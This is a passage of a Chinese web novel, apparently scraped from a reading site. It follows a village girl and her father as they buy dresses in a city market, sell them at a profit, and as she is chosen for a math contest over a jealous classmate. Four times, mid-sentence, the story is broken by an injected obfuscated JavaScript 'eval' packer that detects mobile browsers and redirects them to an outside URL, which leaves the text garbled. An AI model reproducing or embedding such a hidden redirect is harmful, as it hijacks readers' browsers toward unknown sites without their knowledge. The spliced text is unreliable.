唐实刚起来做早饭,就看见唐宝儿已经洗漱完毕了,换上了一件去年的灰紫色短袖还有棕灰色的裤子,衣服经过多次洗涤已经有些褪色和皱巴,还背着一个斜挎的小方包,唐实有些意外,“宝儿,怎么不穿你的新衣服?” 毕竟孩子从六月份就在心心念念的想要去S市了,唐实想着唐宝儿好不容易出一趟远门,肯定要把自己收拾得漂亮点。 “我是要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14196169|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮爹干活的,穿新衣服万一弄脏了不好,我能扛起一个大包袱。”唐宝儿昂首挺胸道。 唐实笑得眼泪都快冒出来了,“好好好,爹这是请了一个好劳力啊,好小伙,那你就努力干,爹给你一个小时开一毛钱的工钱。” 唐宝儿抠着指头算了下,她爹这抠门的,她娘每次给她钱大方多了。 “过来,爹给你把头发梳好。”唐实现在帮孩子梳头发的技术已经相当娴熟,不一会儿两条黑亮亮的麻花辫就梳好了,“早饭想吃什么?” 唐宝儿想了一下,马上就要出发了还是吃点简单的吧,“吃挂面。” 于是唐实就去厨房煮面条了,打了两颗鸡蛋煎了,再倒水进去,水烧开后放进两把挂面,差不多了放两根青菜,出锅后再挖上一点猪油撒上一点葱花,热腾腾的两碗清汤面就做好了,简单美味诱人。 这挂面本来就是面粉做的好东西,简单做一做就能很好吃,唐宝儿一口吹着吃一口,唐实吃东西向来快速,等着孩子吃完了,刷完了碗,父女俩就背着简单的包袱出门了。 他们去S市的时候坐长途汽车去,等回来时再雇车拉货回来,到时候他们也不用再掏钱坐汽车了,可以坐在货车的驾驶楼上一起回来。 虽然说唐宝儿已经出过远门,但是这一次不一样,他们这一次可是去进货的,黄土飞扬,这一辆从芦花溪镇开往S市的汽车坐满了人,有拎着鸡鸭土特产的,还有出门揽工的,一路上唐宝儿坐在沉闷的汽车上,嘴里时不时哼几句歌。 从芦花溪镇到S市的这一趟车足足要开五个小时,终于到站后,唐实抱着他闺女下了车,S市自古以来就是个屯兵御敌的重镇,同时也是重要的物资集散地,四通八达,来往的商旅无数。 S市主要分为四个区域:东关是汽车站的所在地,S市跟外界相通的主要渠道,这里聚集了许多形形色色的人,摆满了吃食小摊,随处可见背着行李的揽工汉,这里有档次较低但廉价的小旅馆,公告栏上贴满了各种花花绿绿的小广告。 西关是S市主要的贸易区,几个大商场都在这里,随处可见操着外地口音砍价的旅客,烫一个时髦的爆炸头,穿着花里胡哨的摩登衣服。这也是唐宝儿他们这一趟的主要目的地。 南关是各个公家单位的所在,路上栽种着槐杨树,街道也很整洁,办公的大楼透着古朴巍峨的气息。 北关就是学校的集中地,穿着校服系着红领巾的小学生,还有中学生,S市唯一的一所大学S市师专就坐落在这里,洋溢着青春的活力。 已经晌午了,唐实决定先带着孩子去吃饭。反正都到S市了,也不差这一会的功夫。 虽然他们出门时带了干粮,但那是备用的,他一个人在外可以简单凑合一顿,但带着宝儿可不行。 唐实带着唐宝儿走进了一间临街的小吃店,正是饭店,店里人挺多,费了点功夫才在角落里找到一个能坐下两个人的位置。 37. 第37章 店内出品简单,主食就是各种馅的饼,配粥,豆浆和糁汤,看着还算干净卫生,唐实就要了两份肉馅的饼子还有两碗鸡肉糁汤。 “快吃吧。”唐实摸了摸孩子的脑袋,这会子估计早就饿了。 唐宝儿喝了一口糁汤,这是一种用鸡肉熬成的肉粥,热乎乎的,里面还加了麦仁、面粉、葱还有胡椒粉,喝起来很香,满嘴都是肉味,馅饼比她两个巴掌合起来还要大,唐宝儿肯定是吃不完这肉饼的,唐实就让她先吃,吃不完他再吃剩下的。 饼子有些筋道,麦香味很足,肉馅特别香,她呼呼的喝了一碗糁汤,又吃了半块的肉饼,满足的打了个饱嗝。 两份馅饼和两碗糁汤被父女俩吃了个精光,唐实付了钱,就带着唐宝儿去西关的批发市场。 这是一个很大的批发市场,在一片露天的空地上,用彩色雨棚布和钢架搭了一个遮挡的大棚,到处都是人,吆喝声四起,里边的商贩就搭了个简易的货架,把各种小商品、服装都堆叠在上边,堆得满满当当的。 各种货物应有尽有,琳琅满目,鲜艳的色彩就这样闯入了唐宝儿的眼帘。 任谁都无法想象,放开还不到一年,市场经济就发展到了这种程度。 唐实这一趟过来主要是想要进一批时新成衣,批发价格五元一件,回到镇上的集市就能卖七到八块钱。 他准备了两千元的现钱用来进货。 唐实在一个摊贩前停下,开始把看上的衣服挑拣到一个装货的大麻袋里,这个老板愿意按四块八一件的价格卖给他。 都是鲜亮的颜色,而且是涤纶料子,摸起来又抗皱又丝滑。 “爹。”唐宝儿本来也帮忙挑着衣服,但看到不远处一个专门卖女装的摊档时,眼睛一亮,“我想到那边去看看。” 唐实本来也不指望她帮忙,只交代了一句不许走出他视线范围外。 这个摊子跟唐实买衣服的那个摊子不一样,木杆上挑挂着的都是比较精美的女装,款式也没有在其他地方见过,唐宝儿第一眼就看见了木杆上挂着的色彩浓烈的红裙子。 “都是广州来的紧俏货,小姑娘看看!”老板娘的口音一听就是来这做生意的外地人。 “姐姐,这都是什么价钱啊?” 唐宝儿这一句姐姐叫得老板娘心胸一片舒畅,她今年都三十二了没想到还会被一个小孩叫姐姐,她脸上也不由得带了热情的笑容,“你想要买什么?这种红裙子十二一件,牛仔裤十元一条……” 唐宝儿把价格记在心里,“我去问问我爹。” “行嘞。” 唐宝儿过来时,唐实已经挑了一百多件衣服。 “爹,我们可以进一些红裙子回去卖吗?”唐宝儿问。 “可以。” 尽管唐实并不抱多大的希望,这样的红裙子对于乡下来说还是太过于出格了,但只要是宝儿想做的事情,他都会尽力的去支持她。 唐实从身上拿出五百块钱交给她,“那我就把买红裙子的任务交给咱们宝儿了,这么多钱够不?” “够了够了。”唐宝儿还是第一次手里拿这么多钱,明明是薄薄的几张纸币,却揣在手里沉甸甸的。 “姐姐,这个红裙子你能按十一块五毛的价格给我吗?”唐宝儿心里有些紧张,这还是她第一次跟别人砍价。 她也不知道该往多少的价格砍,但是看她爹五块钱砍到四块八,那她十二块按着十一块五来砍应该是合适的吧。 老板娘还没说话,她已经流利地报出了一长串价格,“我想要四十三条这种红裙子,一共就是四百九十四块五毛,凑个整四百九十五,您看可以吗?” 老板娘倒是挺新鲜,她还是第一次见到这么大的小孩来采购,还跟她砍价,这个价钱她还是有得盈利的,虽然少了点,但也不是不能接受,脸上笑呵呵地说道,“小姑娘口算不错啊,上几年级了?” “三年级了。”唐宝儿脆生生地说道。 她大方地摆了摆手,“行吧,那就按十一块五毛的价钱批发给你吧。” 唐宝儿喜出望外地鞠躬道,“谢谢姐姐!” 唐实已经挑够了三百件涤纶上衣,打包到了麻袋里,再包上一层防水布,整整两个大麻袋,他过来时就看见他闺女正在从一堆红裙子里面挑选满意的,她大概已经挑了四十多件。 唐宝儿的眼光还挺好的,从里边挑选出来的红裙子不仅颜色俏丽,而且剪裁立体,线条简洁流畅,面料摸起来就很有质感。 连唐实都有些意外,这些红裙子就算在镇上销路打不开,也可以考虑在别处出售。 挑完了最后一条裙子,唐宝儿从怀里数出了整整四百九十五元钱,递给了老板娘,“按咱们之前说好的,一共是四十三件红裙子,按十一块五毛一件的价格,给您四百九十五块钱。” 老板娘清点了一下,“嗯,刚好是四百九十五块钱,没问题。” 然后她就听见唐宝儿叫旁边的年轻男人,“爹。” 老板娘的目光落在眼前这对父女身上,倒是没想到他们竟然是父女,不过虽然说长得不是很像,但颜值方面绝对是没话说。 年轻男人瘦瘦高高的,估摸着得有一米八几,剑眉星目,还有种说不出的气质,这在农村后生中应当是相当出挑的一类人群了。 小姑娘一双明眸,鼻梁高挺,皮肤雪白,不难看出这以后绝对是个美人坯子。 “你这闺女可不得了,嘴甜得很,招人喜欢,也不知道是在哪里学的砍价,我这红裙子本来是卖十二块一件的,就让她给我砍到十一块五了。”老板娘笑着说道。 唐宝儿脸上浮现一抹灿烂的笑容,“谢谢您过奖了,您家衣服这么好看,质量还这么好,我就想多省点钱,以后能再来您这里买衣服,您这么好说话以后一定会生意兴隆的!” 谁不喜欢听好话,唐宝儿一番话听得老板娘是乐不可支,并说道,“你这小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14200297|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘眼光真不错,我这衣服都是从广州那边进货来的,质量那可是相当没话说,好好好,下次再来。” 从批发市场出来,唐实轻拍了下唐宝儿脑袋,忍不住笑道,“都从哪里学的一套一套的话,还砍上价了。” 唐宝儿吐了吐舌头,“跟爹你学的,你做起生意来这么厉害,我肯定也不会差劲呀。” 路过一家副食品店,唐宝儿想了想怀里还剩下五元钱,“爹,我可以进去买一点东西吗?” “嗯,你去吧。” 唐宝儿走进那家副食品店,看见柜台上摆着几包现烤的蛋糕,指了指问道,“这个是多少钱一袋?” 售货员是个圆脸的年轻姑娘,“这个蛋糕啊?两元钱一包。” 于是唐宝儿就付了两元钱,买了一包蛋糕。 “爹,这个蛋糕看起来好好吃,吃起来一定很软,我们买了带回去给奶奶吃。”唐宝儿手里拿着蛋糕说道。 从小到大,陈老太有什么好吃的都惦记着给唐宝儿吃一口,她记着奶奶对自己的好呢。 唐实愣了一下,他本来以为是宝儿自己想吃,没想到是要买回去给他娘的。 自从分家后陈老太就跟着他三哥唐厚一块过日子了,这段时间他忙得脚不沾地,已经有段时间没去看过老人了。 难为他闺女出一趟远门还惦记着奶奶。 他怜爱地摸了摸闺女的小辫,“好,买回去给奶奶吃。” 货车是唐实一早就联系好的,这一趟车要拉货到包头,这路过他们绿水村,货车已经在上一个站点卸过一部分货,能腾出位置来给他们放打包好的衣服,他们付一点油费,不仅能把货运回去,前面的驾驶楼还能坐人,他们可以跟着货车一块回到绿水村。 司机师傅帮着他们把三个麻袋给搬到货厢上去,唐实抱着孩子上了驾驶楼,已经来不及吃晚饭,唐实就从包袱里拿出一个烙饼给唐宝儿吃,并且帮她把水的盖子给拧开了。 货车很快就轰隆隆的开动起来,唐宝儿还是第一次坐在货车的驾驶楼上,这视线感觉比公共汽车还要高一些,更宽敞,一眼就看看到前方的路况,到处都是几层高的楼房,道路很平整。 唐宝儿喝了一口水后,就啃着烙饼吃了起来。 烙饼是昨天做的,虽然凉了但吃起来还是很劲道。 现在是下午六点,太阳已经落山,西边的晚霞映得天通红,等到晚上十一点的时候他们就能回到绿水村了。 晚上十一点左右,唐实父女俩准时回到了绿水村。 向司机师傅道过谢后,唐实扛着两个大包,唐宝儿就扛着那个小包,好一番折腾才把批发来的衣服给搬回到了家里。 这坐了一天的车,人已经累得够呛,两条腿都感觉灌了铅,匆匆忙忙洗漱了一下,父女俩就回去睡了。 唐宝儿很快就睡着了,只是唇角还带着浅笑,想到明天就能去镇上卖衣服了,心里有种说不出的高兴和激动。 38. 第38章 唐实到村里去租了辆驴车,把摆摊用到的木杆架子还有衣服都搬到了驴车上,他在门口等了一会,还不见唐宝儿出来,就叫她,“宝儿,你再不来我可就不等你了。” “来了来了。”没看见人影,唐宝儿声音倒是先冒出来了。 一团火红热烈的人影出现在唐实的视线中,唐宝儿换上了一条红裙子,露出两条纤细白嫩的小腿,这条红裙子显然是她昨天从S市进货回来的那一批,只是被改成了女孩能穿的尺寸,裁剪下来的布料被做成了一个红色的丝带蝴蝶结系在腰上,唐宝儿长得白,穿着这样浓烈的红裙子,显得像个坠落人间烟火的精灵仙子。 “爹,好看吗?”唐宝儿转了个圈。 唐实还是第一次见他闺女穿裙子,看见露在外面的小腿,眼皮跳了又跳,但还是不得不承认道,“好看。” “三伯母帮你改的裙子?”怪不得她一早就跑到南屋那边去了。 “对呀。”三伯母侯松梅改衣服的手艺也很好,把这条红裙子改得像是量身定制一样。 “爹,我不跟你一块去集市摆摊了,我去县纺织厂门口,等我把红裙子卖完了再去集市找你。”唐宝儿想得很清楚,红裙子主要的目标客户群体是年轻职工女性,集市上都是庄稼汉和农村妇女,很显然他们不会买红裙子。 闺女的话像是给唐实心里投入了一块活泛的石子,是啊,如果要卖红裙子,工厂里的年轻女性无疑是最好的受众群体,他怎么就没想到这,“你一个人能行吗?还是我陪你一块吧。” “我让成鸣哥哥陪我。”唐宝儿的话音刚落,就看见成鸣也从屋里走了出来。 他已经期末考试结束放暑假了,他现在除了偶尔需要出山劳动,平日里也是闲在家里,本来唐宝儿也想叫上晓梅和晓巧两个堂姐,但是不巧她们被林丹红叫到山里挖药材去了。 唐宝儿手里还举着一块纸板,唐实看见上边还写着字。 “红裙飞扬映芳华,广州魅力红裙,二十元一件,带你领略最美的时代风采。” 唐实哭笑不得,但不得不说他闺女还挺有生意头脑。 于是唐实、唐宝儿和成鸣三人就坐上了驴车。 为时尚早,树叶上都还结着一层水雾,但早已经有村民牵着耕牛出山劳作了。 唐实把成鸣唐宝儿堂兄妹送到了县纺织厂门口,并帮着堂兄妹两个把摊子支起来了,衣服挂到木杆架上才离开。 唐宝儿看到过往的男女工人,脑海中过了一遍词就开始吆喝道,“红裙飞扬映芳华,带你领略最美的时代风采,二十元一件,走过路过不要错过……” 小姑娘穿着色彩浓烈的红裙子站在阳光下,正是腊月严冬中昂首开放的红梅花。 正是工厂的工人上班的时间,唐宝儿鲜亮清澈的吆喝声很快就吸引了路人的注意,鲜艳的红色在阳光下格外耀眼。 很快就有一个十八九岁的年轻姑娘凑过来问,“小妹妹,你们是在卖这个红裙子吗?” “对,姐姐,这些裙子都是我爹从广州那边进回来的紧俏货,城里别处都没有卖,你看这裙子的剪裁多合身呀,而且这面料也很好,既柔软又耐穿,二十元一件,绝对是物超所值,晚了可就买不到了,我们只抢到了四十二件。” 年轻姑娘看着这裙子,有一点心动,但这红裙子终究是太奔放出格了点,露着两条小腿,还是这样鲜艳的红色,走在大街上总觉得放不开。 唐宝儿又说道,“姐姐,你要是穿上这条红裙子去参加聚会或者约会,那肯定会成为全场的焦点,你走在阳光下,红裙随风飘动,那画面多美呀……” 说着,唐宝儿转了个圈向她展示自己身上的裙子,虽然唐宝儿身上的是改小的,但大概也能想象出穿在她的身上是什么样子。 眼前的小姑娘虽然年纪小,但穿着红裙子落落大方的模样还是很动人。 年轻姑娘明显是被打动了,她像是想起了什么事,脸有点微红,“好,那我挑一件吧。” 成鸣看着唐宝儿一套一套的说,举手投足都充满少女的鲜活,灿若朝霞。 年轻姑娘挑选了一条喜欢的红裙子,付了二十块钱。 成功卖出第一件红裙子后,后面很快就有其他女工接着过来问,有买了红裙子,迫不及待的女工已经换上了红裙子,在车间走了一圈,大大打响了唐宝儿他们的红裙子的知名度。 到上午十一点时,他们带来的四十二条红裙子已经全部卖出去了。 唐宝儿数了一下,她现在手上一共有八百四十块钱,刨去进货成本四百九十五元,净赚了三百四十五块钱。 唐宝儿还是第一次手里拿着这么多钱,心情激动得不得了。 兄妹俩把摆摊的工具收拾了一下,就准备搭车回镇上了。 唐宝儿看见路边有卖糖水的老奶奶,抓住了成鸣的胳膊,“成鸣哥哥,我们去喝糖水吧。” 他们走过去看了下,老奶奶的泡沫箱里有冰镇的绿豆糖水和甜豆花。唐宝儿问他想喝什么,成鸣说喝豆花,唐宝儿也想喝豆花,就要了两碗豆花,在那阴凉的石阶上坐着。 红糖浆的醇香,豆子的清香,就组成了一碗可口的甜豆花。 冰冰凉凉的一碗甜豆花喝下去,感觉浑身都舒坦了。 阴凉的树荫下,成鸣看向唐宝儿,她身上还是穿着那条红裙子,吃着豆花脸上露出了幸福的神情,低垂着侧脸,一两丝碎发被清风吹拂划过脸颊,嘴唇就像是樱桃般的红润。 …… 今天是芦花溪镇赶集的日子,正值暑假,又逢丰收,十分红火热闹,有不少包着蓝白头巾的妇女专门做了茶饭出来卖,集市所在的土街被挤得水泄不通,还搭建起了一个戏台,专门请了演员过来唱戏,阳光照耀在这个热闹的小集市上。 唐实进货的那一批涤纶上衣刚挂出来,很快就有人过来问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14214960|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价了,唐宝儿还给涤纶上衣也写了一句广告语,“品质涤纶上衣,耐穿不变形,一件只要七块钱。” 街上的商店里也有这种涤纶上衣出售,但价格比唐实他们卖的要贵一块钱,而且款式也不如他们的多,所以许多人挤围在唐实的摊子前,挑选一件满意合适的衣服。 正午人很多,唐实忙着收钱招呼不开,幸好唐宝儿他们的加入缓解了这个局面,唐实的摊子很快就成了最热闹、客流量最大的摊子。 唐宝儿正在给一个大婶介绍衣服,这个大婶想要给她的儿子买一件涤纶上衣,“阿姨,您看这件涤纶上衣,质量特别好,七块钱能穿好几年,咱们这衣服颜色也正,好搭配裤子,您再摸摸这面料多舒服,而且我们这价格比街上商店里的便宜一块钱呢,您儿子穿上这个涤纶上衣肯定特别精神!” 成鸣也在一旁点头附和,“是呀,阿姨,我们这摊子的衣服都是精心挑选的,您放心买。” 大婶被他们说得笑了起来,“你们这两个孩子真会说话,那我就买一件吧。” 唐宝儿和成鸣听到这话,高兴的笑了起来,他们忙将衣服装好递给大婶,收钱的时候脸上都是藏不住的开心喜悦。 唐宝儿这边正招呼着客人,忽然就被人轻碰了一下胳膊,看起来像是个来赶集的农村姑娘,挎着的篮子里还装着一把芹菜和几颗鸡蛋,“小妹妹,你身上这个裙子有大人的尺码吗?我下个月结婚,也想买一条这样的红裙子……” 唐宝儿激动的点头,“有,但是应该要等下一个集了。” 她爹说这批衣服要是卖得好,过几天就再去一趟S市再进一批衣服回来,看这个架势,很快就会再去S市进货了。 “那我下次再到这里来寻你们。”农村姑娘跟她约定了时间。 太阳下山时,集市上的人都慢慢散了,唐实这一趟一共进了312件的涤纶上衣,卖出去了158件,还剩下154件,估计明天再需要一天就能全卖光了。 唐实嗓子都冒烟了,刚喝了口水,就看见唐宝儿把一沓纸币送到他手上,“一共840块钱,爹你点点。” 唐实脸上露出惊讶的表情,“你们把那些红裙子都卖出去了?” 唐实想着这红裙子大概能卖出一两件,但没想到他们竟然全部都卖出去了,这简直太令人意外了。 “对啊,供不应求呢。”唐宝儿脸上还有小小的骄傲。 成鸣在旁边点头,“四叔,宝儿真的很厉害。” “咱们宝儿真厉害。”唐实摸了摸孩子的脑袋。 他只给了宝儿五百块钱的进货成本,但是卖出这些红裙子就挣了345块钱,他进货这批涤纶上衣花了一千五百块钱,全部卖出去后能挣686块钱。 相当于宝儿用四分之一的成本就能挣到他二分之一的利润。 “我们宝儿真厉害。”唐实不禁感叹道,他闺女这挣钱能力,连他都自叹不如。 39. 第39章 这做生意跟吴春红想象中的似乎不太一样。 本来吴春红靠着说是神仙托梦,成功让她爹娘相信了自己是被福星眷顾的孩子,又跟她爹打包票说稳赚不赔,哄得她爹拿出了这些年的积蓄,这段时间在基建工地干活的工钱,又找亲戚借了不少,东拼西凑终于凑出了一千块钱。 刚考完试,吴春红就风风火火的跟她爹坐上了去S市的长途汽车,她知道S市的西关市场有不少外地来的紧俏货,在逛了一圈西关市场后,吴建设父女俩就用五块八的价格买下了一批涤纶上衣,一共172件。 这几天正是大集的日子,吴春红跟她爹就在芦花溪镇上的土街摆起了这个卖衣服的小摊,吴春红原本这衣服九块钱一件,但是他们在这摆了半天,都没什么人来问,上前边看了一下,才发现唐家父女也摆了一个卖衣服的小摊,并且只卖七块钱一件! 又是唐宝儿在坏她的好事。 吴春红气愤的将衣服的价格改到了六块八一件,但卖出去几件后,她感觉肉疼得厉害,就把六块八给改成了七块二。 但吴建设嘴笨,吴春红又太尖利,父女俩人忙活了半天,销量都一般般。 吴春红拿着一件衣服给眼前的客人介绍道,“阿姨,你看看这衣服质量多好啊!你去别的地方哪能找到这么便宜又好的衣服?别光看,赶紧买啊!过了这村可没这店了。” 那客人本来拿着衣服在看,瞬间就不高兴了,她今年才二十多岁就被一个八九岁的孩子叫阿姨,“你什么眼神?” 说着,对那衣服也没了兴趣,忍不住翻了个白眼走了。 吴春红脸色一变,心里忍不住骂道:老女人还想她叫姐姐。 按理说这是一门稳赚不赔的买卖,但吴家父女俩一直折腾了好几天,到最后两三天的时候吴建设实在是被磨得没了耐心,又实在担心这衣服折在手里,就按着成本价直接给卖出去了,这样一来,卖衣服挣下的钱正好抵了他们进货的成本和路费。 吴建设说什么都不愿意再倒腾这个生意了,这可把吴春红气了个半死,心里直骂她爹真是朽木不可雕,烂泥扶不上墙。 整个七八月唐宝儿都跟着她爹东跑西跑,折腾个够累,除了把衣服卖到他们镇上外,相邻的几个乡镇他们都去了,挣下了估计有七八千块钱,这期间唐宝儿的期末考试成绩也出来了,语文和数学都是满分,这可把唐实高兴坏了,父女俩到镇上的饭店吃了一顿好的庆祝了一番。 临近开学前几天,唐实就不带唐宝儿出去了,让她在家里把三年级的知识再重新复习一遍。 九月份,绿水村小学就开学了,唐宝儿也成为了一名四年级的小学生。 四年级的数学还是胡老师在带,今年是他在绿水村小学任教的第四年,他是个戴眼镜的年轻人,高高瘦瘦的,绿水村小学一共就五个老师,要负担从一年级到六年级的语文、数学、体育和音乐的教学工作,刚开学不久,县上来了文件,说市里要举办一场小学生数学竞赛,要在全县考核选拔出两个小学生到市里参加竞赛。 胡老师第一时间就想到了吴春红,这个他看好的数学苗子。 从他一年级带他们开始,吴春红这个学生就在数学方面展现了非常高的水平,在别的孩子还需要数木棍掰手指的时候,她就已经能靠心算说出大部分答案了,而且大部分的字她都认识,只是一到需要开动脑筋的题目上,这个孩子表现出来的资质却很平庸,这是令人非常意外的。 胡老师想起了班级里的另外一个孩子唐宝儿,高老师让担任语文课代表的一个孩子。他对这个孩子的关注并不是很多,但知道她很喜欢看书,每次交上来的作业都写得工工整整,从三年级开始,高老师就教他们写作文了,他看过唐宝儿交上来的作文,行文非常的有灵气。 至于数学方面,她一个学期举手回答问题的次数并不多,但是思维能力很强,很多没学过的知识她学过之后,很快就能融会贯通了,几乎每次考试都是满分,稳定得令人赞叹。 胡老师分别把唐宝儿和吴春红叫到了教师办公室。 “胡老师,您找我。”唐宝儿敲了敲门。 “噢,是宝儿啊,你进来吧。”胡老师对学生态度一向还是很好的。 胡老师从抽屉里抽出一份数学试题,“这是一份数学试题,你做一下给老师看好吗?” 这次数学竞赛主要考的是学生的数学思维能力,所以他找来的这些试题大多数都是拓展思维的应用题,虽然是五六年级的试题,但只要发动脑筋做还是能做出来的,唐宝儿虽然不明白胡老师为什么让自己单独做这个卷子,但还是坐了下来,接过胡老师递给自己的笔开始答题。 胡老师端起搪瓷缸的茶水喝,顺便观察她的表情。 很显然,这样一份试题对于刚上四年级的他们来说还是有难度的,但唐宝儿很快就静下心来,慢慢开始在试卷上答题,她在遇到难题时,两条秀气的眉毛拧在了一起,在思考得出答案后,瓷白的小脸上就会浮现豁然开朗的神情。 “胡老师,我做完了。” 胡老师已经喝完了一缸子茶水,看到她写在纸上的答案,赞许了然的点点头,“好。” 接着,胡老师像刚才一样,把一份一样的试题交到吴春红手里。 吴春红最近正烦得要死。 她爹简直就是扶不上墙的烂泥,不可雕的朽木,自从上次卖衣服没挣钱后,他怕亏钱,说什么都不愿意再干了,明明这样一个大好的机会放在眼前,饭都喂到嘴边了他也不会张嘴去接。 再这样下去,她要靠什么成为万元户,过上好日子?! 眼看着唐宝儿的日子过得越来越好,经常能见着她穿新衣服,每天都能吃上肉,还戴上了手表,她跟她爹在暑假里衣服卖到脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223389|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 销,显然是赚下不少钱了,上个学期又考了全班第一,每当看见她时,吴春红心里嫉妒的火就越烧越旺。 看着眼前的题目,吴春红根本没什么心情去做,而且她认真一看,这明显不是四年级的题目,她上辈子初中辍学,四年级的题目还是能做得出来的,但这五六年级的题目难度就高了很多,吴春红吃力的看了半天,根本不知道怎么样去算去答题,感觉脑海里一片空白。 她睁着眼睛,强迫自己打起精神来,困难的写了半天,把试卷交给了胡老师。 胡老师看着上面的答案,叹了口气,并没多说什么,只是让她回去了。 下午第二节课下课后,胡老师突然又过来把唐宝儿叫了过去,吴春红皱了皱眉,心里有种预感事情没这么简单。 她听见成和问唐宝儿的同桌罗苗苗,“胡老师叫宝儿去做什么啊?” “好像是市里要举办一场数学竞赛,要从全县的小学生里挑选两名去市里参加比赛呢,宝儿数学那么好,肯定会被选上的。” 罗苗苗的话像是在吴春红心里投下了巨石,她上辈子听说过这个数学竞赛,被选上的人不仅能去市里考试,食宿全包,不仅能登报,还有丰厚的奖品。 要是能去市里参加这个比赛,还能拿到奖,那可真是她扬眉吐气的时候了。 但胡老师怎么没叫自己过去说参加竞赛的事情呢?按理说她一直是胡老师心目中的数学苗子,这种机会应该会给她才对啊。 吴春红想到了胡老师给她写的那张试卷,脸色瞬间白了下来。 最后一节是自习课,上了大半节自习,才看到唐宝儿抱着几张试题回来,吴春红想从她的神色间看出什么,但唐宝儿神态很平静,只是把试题放进了书包里。 “宝儿,胡老师是不是让你去市里参加数学竞赛啊?”罗苗苗忍不住问。 唐宝儿已经打开了书来看,“对,胡老师跟我说了数学竞赛的事情,到时候会让胡老师带着到市里参加比赛。” 尽管唐宝儿已经压低了音量,但这个消息还是在教室激荡起了千层波浪。 “哇塞,宝儿,你也太厉害了,能代表县里去参加数学竞赛,这是多么光荣的事情啊,要是我能去参加这个数学竞赛,我祖坟都得冒青烟了。” “你也太牛了,不仅语文学得好,数学还这么厉害。” “宝儿你简直就是天才。” “宝儿,只有你一个人去参加吗?”有同学问了起来,要知道,吴春红是数学课代表,当然也是胡老师最看重的学生,但竟然没有让她去? 唐宝儿摇了摇头,很坦诚的说道,“不知道,胡老师就让我回去把这些试题做一遍,其他的没跟我说。” 看到众人落在自己身上的目光,吴春红脸色红了又白,一股屈辱涌上心头,她愤恨的咬了咬牙齿,这个数学竞赛的名额她一定要拿到。